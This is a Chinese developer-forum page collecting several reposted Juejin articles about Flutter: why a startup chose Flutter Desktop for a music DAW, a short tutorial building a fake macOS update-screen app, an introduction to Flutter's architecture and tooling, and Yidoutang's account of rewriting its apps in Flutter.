注册
环信即时通讯云

环信即时通讯云

单聊、群聊、聊天室...
环信开发文档

环信开发文档

Demo体验

Demo体验

场景Demo,开箱即用
RTE开发者社区

RTE开发者社区

汇聚音视频领域技术干货,分享行业资讯
技术讨论区

技术讨论区

技术交流、答疑
资源下载

资源下载

收集了海量宝藏开发资源
iOS Library

iOS Library

不需要辛辛苦苦的去找轮子, 这里都有
Android Library

Android Library

不需要辛辛苦苦的去找轮子, 这里都有

【小声团队】 - 我们为什么选择了Flutter Desktop

本文由小声团队出品,小声团队是一个专注于音频&音乐技术的初创团队,深度使用Flutter构建跨平台应用,希望与大家一起共同探索Flutter在桌面端&移动端的可能性。 背景 我们计划研发一款全功能跨平台的音乐制作平台(DAW),从立项之初我们...
继续阅读 »

本文由小声团队出品,小声团队是一个专注于音频&音乐技术的初创团队,深度使用Flutter构建跨平台应用,希望与大家一起共同探索Flutter在桌面端&移动端的可能性。


背景


小声团队使用Flutter Desktop研发的DAW截屏


我们计划研发一款全功能跨平台的音乐制作平台(DAW),从立项之初我们就已经明确了全平台的支持计划(即Windows / MacOS / Linux / iOS / Android ) ,也因此我们也是以这个为目标来寻找技术解决方案,经过一段时间的研究与学习,大致确定了几个可选项,内部的调研结果如下(本结果仅代表团队内部认知,如有差异还请包涵):

技术方案性能研发效率跨平台兼容性扩展能力原生代码交互能力
HTML5
QT极低
React Native
Flutter



为什么不使用基于HTML5打造的技术栈?


HTML5是众所周知的最易上手的跨平台UI解决方案,并且产业成熟,有众多可选的框架与开源组件可直接使用。但是DAW作为一款专业生产力工具并不适合完全在浏览器环境中运行,比如第三方插件系统浏览器则无法支撑,另外在内存资源上的使用也不是很便捷,通常一个音乐工程可能需要占据数G内存,运行时需要维护数万个对象,这对于Javascript来说还是浏览器来说都是很严重的负担。
从另一个方面来看,就算我们需要以一种阉割的形式支持Web,那么WASM技术则是我们更佳的选择。
因此,我们不考虑基于HTML5的技术方案。


为什么不选择QT & GTK 等老牌原生高性能框架?


在传统技术上来看,QT是最符合我们需求的技术方案,很多老牌工具厂商背后也都是基于QT技术栈完成。QT在运行效率上而言无疑是最佳的选择,我们的主要顾虑在对于CPP的掌控能力与研发效率,UI开发与引擎开发有一个很大的根本区别在于引擎开发通常使用单元测试来完成逻辑验证,而UI则很难使用单元测试来验证UI效果,也很少看到有团队真的依赖单元测试的方式来进行UI开发,而QT没有像Webpack类似的hot reload技术,UI的验证效率会非常的低下,甚至于不是我们一个小团队可以承受得起的。
而CPP也是入门门槛极高的编程语言,我们对于QT方案也存疑,但是没有完全放弃。


Flutter 的什么特性吸引了我们



  • Flutter使用基于Skia绘图引擎直接构建组件,操作系统只需要提供像素级的绘图能力即可,因此也就保证了跨平台的UI一致性(像素级一致),而对React Native的兼容性吐槽一直充斥着社区。

  • Dart对于UI开发也是非常舒服的。

    • 对象默认引用传递。

    • 支持HOT Reload。这为开发效率带来本质的提升,使得Flutter研发效率不弱于HTML5

    • AOT支持,生产级代码运行效率飞升,不逊色于原生应用的表现。

    • FFI 支持 。 可以直接与原生C & Cpp代码进行交互而几乎没有任何性能损失。

    • Web 支持。 Flutter 即可直接编译到Web运行,这也为我们提供Web服务打下了可能性。




Flutter的这些特性都是直击我们需求的,所以我们决定尝试使用Flutter来构建我们的平台。


结论


如果你也在寻找一个技术技术方案兼顾研发效率与运行时效率,那么Flutter应该是一个很不错的选择。


作者:小声团队
链接:https://juejin.cn/post/7040289136787324958
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

10分钟用Flutter写出摸鱼桌面版App

起因摸鱼是不可能摸鱼的,这辈子都不会摸鱼。缘起是 郭佬 分享了一则微博:share.api.weibo.cn/share/26900…顿时这个念头划过了我的脑海:好东西,但是我用的是 MacBook,不能用这个应用。但是貌似我可以自己写一个...
继续阅读 »

起因

摸鱼是不可能摸鱼的,这辈子都不会摸鱼。

缘起是 郭佬 分享了一则微博:share.api.weibo.cn/share/26900…

image-20211217002031951

顿时这个念头划过了我的脑海:好东西,但是我用的是 MacBook,不能用这个应用。但是貌似我可以自己写一个?

准备工作

年轻最需要的就是行动力,想到就干,尽管我此刻正在理顺 DevFest 的讲稿,但丝毫不妨碍我用 10 分钟写一个 App。于是我打出了一套组合拳:

  • flutter config --enable-macos-desktop
  • flutter create --platforms=macos touch_fish_on_macos

一个支持 macOS 的 Flutter 项目就创建好了。(此时大约过去了 1 分钟)

开始敲代码

找到资源

我们首先需要一张高清无码的  图片,这里你可以在网上进行搜寻,有一点需要注意的是,使用 LOGO 要注意使用场景带来的版权问题。找到图片后,丢到 assets/apple-logo.png,并在 pubspec.yaml 中加上资源引用:

flutter:
use-material-design: true
+ assets:
+ - assets/apple-logo.png

思考布局

我们来观察一下 macOS 的启动画面,有几个要点:

image-20211217003055127

  • LOGO 在屏幕中间,固定大小约为 100dp;
  • LOGO 与进度条间隔约 100 dp;
  • 进度条高度约 5dp,宽度约 200dp,圆角几乎完全覆盖高度,值部分为白色,背景部分为填充色+浅灰色边框。

(别问我为什么这些东西能观察出来,问就是天天教 UI 改 UI。)

确认了大概的布局模式,接下来我们开始搭布局。(此时大约过去了 2 分钟)

实现布局

首先将 LOGO 居中、着色、设定宽度为 100,上下间隔 100:

return Center(
child: Column(
mainAxisAlignment: MainAxisAlignment.center,
children: <Widget>[
const Spacer(),
Padding(
padding: const EdgeInsets.symmetric(vertical: 100),
child: Image.asset(
'assets/apple-logo.png',
color: CupertinoColors.white, // 使用 Cupertino 系列的白色着色
width: 100,
),
),
const Spacer(),
],
),
);

然后在下方放一个相对靠上的进度条:

return Center(
child: Column(
mainAxisAlignment: MainAxisAlignment.center,
children: <Widget>[
const Spacer(),
Padding(
padding: const EdgeInsets.symmetric(vertical: 100),
child: Image.asset(
'assets/apple-logo.png',
color: CupertinoColors.white, // 使用 Cupertino 系列的白色
width: 100,
),
),
Expanded(
child: Container(
width: 200,
alignment: Alignment.topCenter, // 相对靠上中部对齐
child: DecoratedBox(
border: Border.all(color: CupertinoColors.systemGrey), // 设置边框
borderRadius: BorderRadius.circular(10), // 这里的值比高大就行
),
child: ClipRRect(
borderRadius: BorderRadius.circular(10), // 需要进行圆角裁剪
child: LinearProgressIndicator(
value: 0.3, // 当前的进度值
backgroundColor: CupertinoColors.lightBackgroundGray.withOpacity(.3),
color: CupertinoColors.white,
minHeight: 5, // 设置进度条的高度
),
),
),
),
],
),
);

到这里你可以直接 run,一个静态的界面已经做好了。(此时大约过去了 4 分钟)

打开 App,你已经可以放在一旁挂机了,老板走到你的身边,可能会跟你闲聊更新的内容。但是,更新界面不会动,能称之为更新界面? 当老板一而再再而三地从你身边经过,发现还是这个进度的时候,也许就已经把你的工资划掉了,或者第二天你因为进办公室在椅子上坐下而被辞退。

那么下一步我们就要思考如何让它动起来。

思考动画

来看看启动动画大概是怎么样的:

Kapture 2021-12-17 at 00.51.40

  • 开始是没有进度条的;
  • 进度条会逐级移动、速度不一定相等。

基于以上两个条件,我设计了一种动画处理方式:

  • 构造分段的时长 (Duration),可以自由组合由多个时长;
  • 动画通过时长的数量决定每个时长最终的进度;
  • 每段时长控制起始值到结束值的间隔。

只有三个条件,简单到起飞,开动!(此时大约过去了 5 分钟)

实现动画

开局一个 AnimationController

class _HomePageState extends State<HomePage> with SingleTickerProviderStateMixin {
/// 巧用 late 初始化,节省代码量
late final AnimationController _controller = AnimationController(vsync: this);

/// 启动后等待的时长
Duration get _waitingDuration => const Duration(seconds: 5);

/// 分段的动画时长
List<Duration> get _periodDurations {
return <Duration>[
const Duration(seconds: 5),
const Duration(seconds: 10),
const Duration(seconds: 4),
];
}

/// 当前进行到哪一个分段
final ValueNotifier<int> _currentPeriod = ValueNotifier<int>(1);

接下来实现动画方法,采用了递归调用的方式,减少调用链的控制:

@override
void initState() {
super.initState();
// 等待对应秒数后,开始进度条动画
Future.delayed(_waitingDuration).then((_) => _callAnimation());
}

Future<void> _callAnimation() async {
// 取当前分段
final Duration _currentDuration = _periodDurations[currentPeriod];
// 准备下一分段
currentPeriod++;
// 如果到了最后一个分段,取空
final Duration? _nextDuration = currentPeriod < _periodDurations.length ? _periodDurations.last : null;
// 计算当前分段动画的结束值
final double target = currentPeriod / _periodDurations.length;
// 执行动画
await _controller.animateTo(target, duration: _currentDuration);
// 如果下一分段为空,即执行到了最后一个分段,重设当前分段,动画结束
if (_nextDuration == null) {
currentPeriod = 0;
return;
}
// 否则调用下一分段的动画
await _callAnimation();
}

以上短短几行代码,就完美的实现了进度条的动画操作。(此时大约过去了 8 分钟)

最后一步,将动画、分段二者与进度条绑定,在没进入分段前不展示进度条,在动画开始后展示对应的进度:

ValueListenableBuilder<int>(
valueListenable: _currentPeriod,
builder: (_, int period, __) {
// 分段为0时,不展示
if (period == 0) {
return const SizedBox.shrink();
}
return DecoratedBox(
decoration: BoxDecoration(
border: Border.all(color: CupertinoColors.systemGrey),
borderRadius: BorderRadius.circular(10),
),
child: ClipRRect(
borderRadius: BorderRadius.circular(10),
child: AnimatedBuilder( // 使用 AnimatedBuilder,在动画进行时触发更新
animation: _controller,
builder: (_, __) => LinearProgressIndicator(
value: _controller.value, // 将 controller 的值绑定给进度
backgroundColor: CupertinoColors.lightBackgroundGray.withOpacity(.3),
color: CupertinoColors.white,
minHeight: 5,
),
),
),
);
},

大功告成,总共用时 10 分钟,让我们跑起来看看效果。(下图 22.1 M)

Kapture 2021-12-17 at 01.15.08

这还原度,谁看了不迷糊呢?🤩从此开启上班摸鱼之路...

打包发布

发布正式版的 macOS 应用较为复杂,但我们可以打包给自己使用,只需要一行命令即可:flutter build macos

成功后,产物将会输出在 build/macos/Build/Products/Release/touch_fish_on_macos.app,双击即可使用。

结语

至此,一个简单的能在 macOS 上运行的摸鱼 Flutter App 就这么开发完成了。完整的 demo 可以访问我的仓库:github.com/AlexV525/fl… 。你可以给它提一些需求,我觉得这样一款软件还是挺有意思的。

可能大多数人都没有想到,编写一个 Flutter 应用,跑在 macOS 上,能有这么简单。当然,看似短暂的 10 分钟并没有包括安装环境、搜索素材、提交到 git 的时间,但在这个时间范围内,完成相关的事情也是绰绰有余。

希望这篇文章能激起你学习 Flutter 的兴趣,或是在桌面端尝试 Flutter 的兴趣,又或是挑战自己编程速度的兴趣(别说 10 分钟不可能,实际上我用的时间还要更少)。


作者:AlexV525
链接:https://juejin.cn/post/7042349287560183816
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

收起阅读 »

Flutter(一)Hello, Flutter!

1. 移动端开发演变过程 1.1 原生开发 原生应用程序是指某一个移动平台(比如iOS或安卓)所特有的应用,使用相应平台支持的开发工具和语言,直接调用系统SDK API。 Android原生应用:使用Java或Kotlin直接调用Android SDK开发...
继续阅读 »

1. 移动端开发演变过程


1.1 原生开发


原生应用程序是指某一个移动平台(比如iOS或安卓)所特有的应用,使用相应平台支持的开发工具和语言,直接调用系统SDK API。




  • Android原生应用:使用Java或Kotlin直接调用Android SDK开发的应用程序;




  • iOS原生应用:通过Objective-C或Swift语言直接调用iOS SDK开发的应用程序。




主要优势:




  • 可直接无障碍的访问平台全部功能;




  • 速度快、性能高、可以实现复杂动画及绘制,整体用户体验好;




主要缺点:




  • 开发成本高;不同平台必须维护不同代码,人力成本、测试成本大;




  • 内容固定,动态化弱,大多数情况下,有新功能更新时只能发版,但应用上架、审核是需要周期的,这对高速变化的互联网时代来说是很难接受的;




针对动态化和开发成本两个问题,诞生了一些跨平台的动态化框架。👇👇👇👇👇👇


1.2 跨平台技术简介


这里的跨平台指Android和iOS两个平台。根据其原理,主要分为三类:




  • H5+原生(Cordova、Ionic、微信小程序)=> Hybrid/混合开发





  • 原理:APP需要动态变化的内容通过H5来实现,进一步通过原生的网页加载控件WebView (Android)或WKWebView(iOS)来加载。






  • WebView实质上是一个浏览器内核,其JavaScript依然运行在一个权限受限的沙箱中,所以对于大多数系统能力都没有访问权限,如无法访问文件系统、不能使用蓝牙等。所以,对于H5不能实现的功能,都需要原生去做。






  • 核心:混合框架会在原生代码中预先实现一些访问系统能力的API, 暴露给WebView以供JavaScript调用,让WebView成为JavaScript与原生API之间通信的桥梁,主要负责JavaScript与原生之间传递调用消息 => JsBridge(WebView JavaScript Bridge)





  • JavaScript开发+原生渲染 (React Native、Weex、快应用)




这里主要介绍下 React Native 特点




  • 和 React 原理相似,支持响应式编程,开发者只需关注状态转移,不需要关注UI绘制;




  • React 和 React Native 主要的区别在于虚拟DOM映射的对象是什么:





  • React中虚拟DOM最终会映射为浏览器DOM树;






  • RN中虚拟DOM会通过 JavaScriptCore 映射为原生控件树。(两步)







  • 第一步:布局消息传递; 将虚拟DOM布局信息传递给原生;








  • 第二步:原生根据布局信息通过对应的原生控件渲染控件树;






  • 优点:





  • 采用Web开发技术栈,社区庞大、上手快、开发成本相对较低。






  • 原生渲染,性能相比H5提高很多。






  • 动态化较好,支持热更新。





  • 不足:





  • 渲染时需要JavaScript和原生之间通信,在有些场景如拖动可能会因为通信频繁导致卡顿;






  • JavaScript为脚本语言,执行时需要JIT(Just In Time),执行效率和AOT(Ahead Of Time)代码仍有差距;






  • 由于渲染依赖原生控件,不同平台的控件需要单独维护。





RN架构升级,进行中,解决频繁和原生通信的瓶颈问题。)




  • 自绘UI+原生(QT for mobile、Flutter)





  • QT for mobile(是移动端开发跨平台自绘引擎的先驱,也是烈士。)






  • Flutter 👇👇👇👇👇👇





2. Flutter 介绍


Flutter 是 Google 推出并开源的移动应用框架,主打跨平台、高保真、高性能。


2.1 跨平台自绘引擎


Flutter 与用于构建应用程序的其他框架不同,是因为 Flutter 既不使用 WebView 也不使用操作系统的原生控件。相反,Flutter 自己实现了自绘引擎。这样不仅能保证一套代码可以同时运行在 IOS 和 Android 平台上,还保证了 Android 和 IOS 上 UI 的一致性,而且也可以避免对原生控件依赖带来的限制和高昂的成本维护,也不用和native层做过多的通信,大大提高性能。


Flutter 使用 Skia 作为其2D渲染引擎,Skia 是一个 Google 的2D图形处理函数,包含字符、坐标转换,以及点阵图都有高效能且简介的表现,Skia 是跨平台的,并提供了非常友好的 API ,目前 Google Chrome 浏览器和 Android 均采用 Skia 作为其绘图引擎。


目前 Flutter 默认支持 Android、IOS、Fuchsia(Google新的自研操作系统)、鸿蒙四个移动平台,也支持 Web 开发(Flutter for web)、 PC 、小程序的开发。


2.2 采用Dart语言


这是一个很有意思也很有争议的问题,Flutter为什么选择Dart语言?


开发效率高。Dart运行时和编译器支持Flutter两个关键特性的组合:


基于JIT的快读开发周期:Flutter在开发阶段采用JIT模式。这样就避免了每次改动都要进行编译,极大节省了开发时间;并且在iOS和Android模拟器或真机上可以实现毫秒级热重载,并且不会丢失状态。


基于AOT的发布包:Flutter 在发布时间可以通过AOT生成高效的ARM代码以保证应用性能。而JavaScript则不具有这个能力(虽然可以通过打包工具实现)。



目前,程序主要有两种运行方式:静态编译与动态解释。

静态编译:在执行前全部被翻译为机器码

👉 AOT(Ahead of time)即“提前编译”; AOT程序的典型代表是用C/C++开发的应用,他们必须在执行前编译成机器码; 动态解释(解释执行)则是一句一句边翻译边运行

👉 JIT(Just-in-time)即“即时编译”。 JIT的代表则非常多,如JavaScript、Python等。

事实上,所有脚本语言都支持JIT模式。但需要注意的是,JIT和AOT 指的是程序运行方式,和编译语言并非强相关,有些语言既可以以JIT方式运行也可以以AOT方式运行,如Java、Python,他们可以在第一次执行时编译成中间字节码,然后在之后执行时可以直接执行字节码,也许有人会说,中间字节码并非机器码,在程序执行时仍需动态将字节码转换成机器码,是的,这没有错,不过通常我们区分是否为AOT的标准就是看代码在执行前是否需要编译,只要需要编译,无论其编译产物是字节码还是机器码,都属于AOT(不必纠结于概念,概念是为了传达精神而发明的,理解原理即可)。



高性能。Flutter提供流畅、高保真的UI体验,为了实现这一点,Flutter中需要能够在每个动画帧中运行大量的代码。这意味着需要一种既能提供高性能的语言,而不会出现丢帧的周期性暂停的问题,而Dart支持AOT,在这一点上可以比JavaScript做的更好。


类型安全。由于Dart 是类型安全的语言,支持静态类型检查,所以可以在编译前发现一些类型错误,并排除潜在问题。这一点对于前端开发者极具吸引力,为了解决JavaScript弱类型的缺点,前端社区出现了很多给JavaScript代码添加静态类型检测的扩展语言和工具,如:微软的TypeScript、Facebook的Flow。而 Dart 本身就支持静态类型,这是他的一个重要优势。


快速内存分配。Flutter框架使用函数式流,这使得它在很大程度上依赖底层内存分配器。因此,拥有一个能够有效的处理琐碎任务的内存分配器将显得十分重要。但其实在内存分配上Dart并没有超越JavaScript,只是Flutter需要,Dart 恰好满足。


Dart 团队就在 Flutter身边。Dart 语言也是谷歌推出的,由于有Dart团队的积极投入,Flutter团队可以获得更多、更方便的支持。



例如:Dart 最初并没有提供原生二进制文件的工具链(这对于实现可预测的高性能有很大帮助),但是现在它实现了,因为 Dart 团队专门为 Flutter 构建了它。 Dart VM 之前已经针对吞吐量进行了优化,但团队现在正忙于优化VM的延迟,这对于Flutter的工作负载更为重要。



2.3 高性能


Flutter 高性能主要是靠以上刚刚介绍的两点来保证的:


采用 Dart 语言开发。Dart 在 JIT(即时编译)模式下,速度与 JavaScript 基本持平,但是 Dart 支持 AOT,当以 AOT 模式运行时,JavaScript 就远远追不上了。速度的提升对高帧率下的数据计算很有帮助。


使用自己的渲染引擎来绘制 UI,布局数据由 Dart 语言直接控制,在布局过程中不需要像 RN 那样要在 JavaScript 和 Native 之间通信,这在一些滑动拖动场景下有明显优势,因为在滑动和拖动过程中往往都会引起布局发生变化,所以 JavaScript 需要在 Native 之间不停的同步布局信息,这和在浏览器中要 JavaScript 频繁操作 DOM 所带来的问题是相同的,都会带来比较大的性能开销。


2.4 响应式框架


借鉴 React 响应式的 UI 框架设计思想。中心思想是用 widget 构建你的 UI。 Widget 描述了他们的视图在给定其当前配置和状态时应该看起来像什么。当 widget 的状态发生变化时,widget 会重新构建 UI,Flutter 会对比前后变化的不同, 来确定底层渲染树从一个状态转换到下一个状态所需的最小更改(类似于 React/Vue 中虚拟 DOM 的 diff 算法)。


2.5 多端编译


2.5.1 移动端




  • 打包 Android 并发布手机商店 👉 VSCode





  • 打包命令



    flutter build apk





  • 发布:







  • 注册各大应用市场开发者账号








  • 创建要发布的app信息








  • 按照流程上传






  • 打包 IOS 并发布 Apple Store 👉 XCode





  • 打包命令



    flutter build ios





  • 发布:







  • 注册 Apple 开发者








  • 创建要发布的app信息








  • 配置钥匙串








  • 在xcode配置apple stoer的证书和bundle id








  • xcode>Product>Archive>Distribute App







2.5.2 Web端




  • Flutter 2.x




  • 检查是否支持web开发 $ flutter devices







  • 打包命令


    flutter build web --web-renderer html # 打开速度最快,兼容性好
    flutter build web # 打开速度一般,兼容性好
    flutter build web --web-renderer canvaskit # 打开速度最慢,兼容性好




  • 部署:直接部署到服务器上即可




3. Flutter 框架结构


3.1 移动架构



3.1.1 Framework 框架层


框架层。这是一个纯dart实现的响应式框架,它实现了一套基础库。




  • 底下两层(Foundation、Animation、Painting、Gestures)在Google的一些视频中被合并为一个Dart UI层,对应的是Flutter中的dart:ui包,它是Flutter引擎暴露的底层UI库,提供动画、手势及绘制能力。




  • Rendering 层,是一个抽象层,它依赖于 Dart UI ,这一层会构建一个UI树,当UI有变化时,会计算出有变化的部分,然后更新UI树,最终将UI树绘制到屏幕上,这个过程类似于React中的虚拟dom。Rendering层可以说是Flutter UI 框架的核心,它除了确定每个UI元素的位置、大小之外,还要调用底层dart:ui进行坐标变化和绘制。




  • Widgets层是Flutter提供的一套基础组件




  • Material 和 Cupertino 是 Flutter 提供的两种视觉风格的组件库,Material 安卓风格,Cupertino 是IOS风格。




实际开发过程中,主要都是和最上面的Widgets、Material/Cupertino两层打交道。


3.1.2 Engine 引擎层


纯C++实现的SDK,为Flutter的核心,提供了Flutter核心API的底层实现。其中包括了Dart运行时、Skia引擎、文字排版引擎等,是连接框架和系统(Android/IOS)的桥梁。在代码调用dart:ui库时,调用最终会走到Engine层,然后实现真正的绘制逻辑。


3.1.3 Embedder 嵌入层


嵌入层基本是由平台对应的语言来实现的。例如:在Android上,是由Java和C++ 来实现的,IOS是由Object-C和Object-C++来实现的。


嵌入层为Flutter提供了一个入口,Flutter系统是通过该入口访问底层系统提供的服务,例如输入法、绘制surface等。


3.2 Web端架构



3.3 移动端开发方式架构比较



4. 移动端开发对比


4.1 方案对比



4.2 性能对比



感兴趣 这里 有详细的性能对比介绍,不赘述。


5. Flutter 周边——调试工具


Flutter日志 和 print(); 是比较常用的检查数据的调试方法,但是不支持图形化界面、布局等的检查。👇👇👇👇👇👇


5.1 inspector 插件


可视化和浏览Flutter Widget树的工具。查看渲染树,了解布局信息。


5.2 Dev Tools


5.3 UME


字节 Flutter Infra 团队推出的开源 应用内 调试工具。



Pub.dev 发布地址

pub.flutter-io.cn/packages/fl…

GitHub 开源地址

github.com/bytedance/f…



功能 => UI 检查、代码查看、日志查看、性能工具 ...


服务于 => 设计师、产品经理、研发工程师或质量工程师 ...



  • UI 检查插件包。点选 widget 获取 widget 基本信息、代码所在目录、widget 层级结构、RenderObject 的 build 链与描述的能力,颜色拾取与对齐标尺在视觉验收环节提供有力帮助。







  • 代码查看插件。允许用户输入关键字,进行模糊匹配,对任意代码内容的查看能力。




  • 日志查看。日志信息可通过统一面板提供筛选、导出等。




  • 性能检测包。提供了当前 VM 对象实例数量与内存占用大小等信息。




6. Flutter 周边——学习路线


6.1 学习社区




  • Flutter 中文网 👉 入门文档




  • Flutter 中文社区 👉 入门文档




  • 咸鱼Flutter 👉 可借鉴的架构方案




  • 掘进Flutter 👉 专业性强的博客




  • StackOverflow 👉 问答社区,我遇到的flutter的问题,这里的答案最靠谱




  • 源码及注释 👉 🙋‍♂️🙋‍♂️🙋‍♂️🙋‍♂️🙋‍♂️🙋‍♂️ 最方便开发时查找




6.2 学习路线


1、准备期



  • 目标:




  1. 通过学习 Dart 基本语法,了解 Flutter 中的 Dart 的基本使用;




  2. 学习 Flutter 提供的基础布局和基本内容组件,完成基本页面展示。





2、入门期



3、进阶期



6.3 学习开源项目


UI组件集项目 FlutterUnit


7. Flutter 周边——JS2Flutter



JS 转 Dart => JS2Flutter


作者:得到前端团队
链接:https://juejin.cn/post/7052902682285047821
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

一兜糖 APP :用 Flutter 链接关于家的一切

一兜糖家居,成立于2009年,2015年获得腾讯系战略投资,截至2020年平台已累积3000万装修用户、5万设计师和10万经销商。自成立以来,我们通过「找灵感——学知识——做决策」全路径的优质内容输出,帮助用户提高消费决策的效率;通过门店线上化、口碑线上化和获...
继续阅读 »

一兜糖家居,成立于2009年,2015年获得腾讯系战略投资,截至2020年平台已累积3000万装修用户、5万设计师和10万经销商。自成立以来,我们通过「找灵感——学知识——做决策」全路径的优质内容输出,帮助用户提高消费决策的效率;通过门店线上化、口碑线上化和获客线上化,帮助品牌全面种草;通过内容、社群及用户资源,全面释放设计师价值,帮助设计师提高选品及获客效率。通过链接关于家的一切,我们希望让家变得有温度。



说重点


一兜糖 APP 在 2020 年开始尝试使用 Flutter 重构 iOS / Android 应用,使用 4 个月时间逐步迁移至 Flutter 工作流上。然后又使用一个月的时间,将 H5 以及微信小程序迁移到 MPFlutter 上。\


在重构完成后,一兜糖仅使用一套代码,便完成了在 iOS / Android / H5 / 微信小程序四端的部署,提升近四倍开发效率。


本文将与您分享一兜糖在重构过程中遇到的问题和解决方案。


一兜糖 APP 重构前的问题


2015 年,一兜糖家居开始发行 Android / iOS 两个平台的 APP,经过五年多的打磨,APP 内容日渐丰富,风格也越来越贴近用户使用习惯。直至 2020 年 4 月份,一兜糖家居 APP 均采用原生(Swift / Java)开发的方式进行,随着业务的快速增长以及五年多的技术迭代,面临的问题也越来越多。



  • Android / iOS 两个平台开发进度不统一,实现效果差异性较大,随着业务需求的累积,差异越来越大。

  • 项目日常维护开发所需人力越来越多,开发成本越来越高,Android / iOS 需要开发人员分别进行开发,同一个功能需要双倍的工作量来完成,如果把 H5 / 小程序涵括在内,同一个功能甚至需要四倍的工作量。

  • 将近五年的技术变更,冗余代码越来越多,导致项目的编译时长越来越长,往往一个小小的变动,都要经过漫长的等待时间后才能看到改动后的效果。


为了解决以上问题,2020 年 4 月,一兜糖 APP 开发团队决定对 APP 进行重构,希望重构能够实现快速开发,减少两个平台的差异等问题。而此时,市面上 APP 开发方案除了原生开发,跨平台方案也已经相对成熟,使用哪种技术重构 APP 成为一兜糖移动团队需要面临的第一个抉择。


原生 VS 跨平台


原生开发的方式,两个平台的开发人员分别进行开发,可以以一种很高效的方式调度系统资源,性能更加优秀。缺点也很明显:



  • 同一个业务却需要对两个平台分别进行开发,增加开发成本,业务代码无法在两个平台上复用。

  • 重构时间只有短短的两个月,如果要以原生的方式对 APP 进行整体重构,不现实,人力不足也会增加重构失败的风险。

  • 两个平台的差异性大,无法给不同平台的用户提供一致的使用体验。

  • 原生开发的方式,需要分别开发相应的需求,后续的测试流程,也需要测试人员分别对相应平台进行测试,增加测试成本。


而跨平台方案则完美解决了以上问题,一兜糖 APP 开发团队尝试使用 Flutter 跨平台方案重构 APP。


为什么选择 Flutter


市面上跨平方技术方案除 Flutter 之外,还有多种其他技术,为何最终定型 Flutter 呢?团队主要从以下几点考虑。


节省人力


跨平台方案能够有效减少适配多个平台所带来的工作量,提高业务代码的复用率,原本需要两个平台开发人员一起开发的工作,现在只需要投入一半的人力即可完成需求。同样是跨平台方案,React Native 则需要投入更多的精力用于 UI 兼容等琐碎的事项。


性能上限


相比其他跨平台方案,Flutter 通过 Skia 引擎渲染 UI 视图,这种渲染方式其性能上限非常接近原生。也因为 Flutter 的自绘引擎设计,跨平台 UI 一致性得以保证,因 iOS / Android 系统升级而导致的适配问题更少,可维护性更高,开发人员也可以更专注于业务开发而无需担心平台兼容问题。


声明式 UI


有别于命令式编程,Flutter 使用声明式 UI 设计。使用声明式 UI,开发人员只需要描述当前的 UI 状态,无须关注不同 UI 状态之间的转换,状态转换的相关逻辑则交由 Flutter 框架处理。这无疑提高了开发人员的效率,开发人员可以更加专注于页面的结构。


热重载


在调试模式下,Flutter 支持运行时编译即热重载功能。热重载模块首先扫描工程中发生改动的文件,接着将发生变化的 Dart 代码编译转化为 Dart Kernel 文件,然后将增量的 Dart Kernel 文件发送给 Dart VM,Dart VM 则将接收到的增量文件与原本的 Dart Kernel 文件合并,重新加载合并后的 Dart Kernel 文件,最后在确认 Dart VM 资源加载成功后,重置 UI 线程,完成 Widget 的重建工作。


热重载对于页面的改动,无需重新启动 APP 即可呈现。可以保存页面的视图状态,对于一些在页面栈很深情况,无需为恢复视图栈而重复大量调试步骤,节省调试复杂交互界面的时间。


Flutter 生态


Flutter 开发社区生态活跃,开发中遇到的问题基本都可以在开发社区上找到解决方案。


开工大吉


我们按照以下步骤重构应用



  1. 统一中心思想,做好全员培训工作。

  2. 设计应用架构,以渐进式的方式过渡到 Flutter 工作流。

  3. 逐步重构,有计划地重构。

  4. 拆除旧有代码。


全员培训工作


在重构工作开始时,除 TL 外,团队成员均无 Flutter / Dart 开发经验。


重构工作的关键在于人,我们通过数次重要的会议,告知团队成员目前面临的困境,以及使用  Flutter 重构能为团队带来的收益,并鼓励团队成员尽快学习 Flutter / Dart,让成员感知该技术的便利性。


通过2~3周的学习,团队成员均已上手 Flutter,具备重构条件。


渐进式地过渡到 Flutter


一兜糖家居 APP 已经迭代了五年多,使用 Flutter 重构 APP 的时候,会面临另一个抉择:是以原生为主,Flutter 为辅还是以 Flutter 为主,原生为辅?


市面上大部分 APP 使用 Flutter 的过程中,都是小范围使用 Flutter,绝大部分功能以原生的方式实现,新功能则尝试使用 Flutter 进行开发。这样对 APP 的改动及影响会保持在一个很小的范围,然而这对于开发人员来说却不够友好,调试的时候,需要在原生模块和 Flutter 模块来回切换,比较麻烦;原生项目唤起 Flutter 页面时,也需要大量的资源支持,这同样不利于提升 APP 的性能。因此,一兜糖移动团队决定以 Flutter 为主,原生为辅 的方式重构 APP。


而对于 Android/iOS 这两个已经迭代了五年的原生项目,一下子舍弃原有的代码显然不太现实,我们先创建一个新的 Flutter 项目(ydt_flutter),将原本的两个原生项目(iOS / Android)迁移到新建的 ydt_flutter 项目目录下。


合并仓库 合并构建流程


完成这一步后,即可开始将功能从原生往 Flutter 的方向迁移了。但如果直接在 lib 目录下开发的话,会有以下几个问题:


开发阶段编译项目的时候,会将原生冗余的代码也编译进去,造成第一次编译项目时需要经过漫长的等待。


不利于项目的迁移,原本高度耦合的项目代码会对重构中的 Flutter 项目造成干扰,也导致调试链的增长。


因此,在将两个原生项目迁移到 ydt_flutter 下后,在该目录下又创建了一个 common 模块(纯 Flutter 项目),后续重构的工作全部放在该模块下进行。这样做的好处是可以区分出 Flutter 重构后的项目和原本的原生项目,还可以简化调试工作,降低了两个项目的耦合度。后续相应的业务模块完成后,返回原生项目将相关的业务代码移除即可,一步步的将项目迁移到 Flutter 上。



逐步重构,有计划地重构。


接下来,是开发团队使用 4 个月的时间,逐步以模块为单位,重构应用。\


我们的应用是内容平台应用,在重构的过程中也同时顺带地配合设计组的同事重新整理了 APP 的 UI 风格,统一整理出 ListItemWidget(列表类型的组件) & WaterfallItem(瀑布流类型的组件)。该 APP 最核心的场景是各类列表与内容详情页,我们可以通过 CustomScrollView 的方式,以搭积木的方法,拼接出所有页面。



CustomScrollView + ListItem + WaterfallItem


通过这种方式,配合 GraphQL 下发的数据,我们拼接出了一个完整的内容应用。在这个过程中,Flutter 的一切皆 Widget 的思想,为重构提供了非常大的便利。


拆除旧有代码


在完成重构以后,便是将原有的原生代码删除,直至拆除上面提到的渐进式架构。


收益


